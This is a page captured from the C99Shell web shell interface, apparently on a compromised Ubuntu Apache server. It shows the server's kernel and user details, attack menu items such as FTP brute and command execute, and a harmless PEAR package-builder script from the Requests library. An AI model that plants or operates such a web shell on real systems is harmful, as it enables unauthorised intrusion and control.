!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/rmccue/requests/bin/   drwxr-xr-x
Free 13.41 GB of 57.97 GB (23.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     create_pear_package.php (1.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PEAR package builder
 *
 * Inspired by Twig's create_pear_package.php.
 * @link https://raw.github.com/fabpot/Twig/master/bin/create_pear_package.php
 * @author Twig Team
 * @license BSD license
 */

if (!isset($argv[1]) || $argv[1] === '-h' || $argv[1] === '--help') {
    echo 
'usage: php ' $argv[0] . ' <version> <stability>' PHP_EOL;
    echo 
PHP_EOL;
    echo 
'    version:' PHP_EOL;
    echo 
'        Version of the package, in the form of major.minor.bug' PHP_EOL;
    echo 
PHP_EOL;
    echo 
'    stability:' PHP_EOL;
    echo 
'        One of alpha, beta, stable' PHP_EOL;
    die();
}

if (!isset(
$argv[2])) {
    die(
'You must provide the stability (alpha, beta, or stable)');
}

$context = array(
    
'date'          => gmdate('Y-m-d'),
    
'time'          => gmdate('H:m:00'),
    
'version'       => $argv[1],
    
'api_version'   => $argv[1],
    
'stability'     => $argv[2],
    
'api_stability' => $argv[2],
);

$context['files'] = '';
$path realpath(dirname(__FILE__).'/../library/Requests');
foreach (new 
RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::LEAVES_ONLY) as $file) {
    if (
preg_match('/\.php$/'$file))     {
        
$name str_replace($path DIRECTORY_SEPARATOR''$file);
        
$name str_replace(DIRECTORY_SEPARATOR'/'$name);
        
$context['files'][] = "\t\t\t\t\t" '<file install-as="Requests/' $name '" name="' $name '" role="php" />';
    }
}

$context['files'] = implode("\n"$context['files']);

$template file_get_contents(dirname(__FILE__).'/../package.xml.tpl');
$content preg_replace_callback('/\{\{\s*([a-zA-Z0-9_]+)\s*\}\}/''replace_parameters'$template);
file_put_contents(dirname(__FILE__).'/../package.xml'$content);

function 
replace_parameters($matches) {
    global 
$context;

    return isset(
$context[$matches[1]]) ? $context[$matches[1]] : null;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--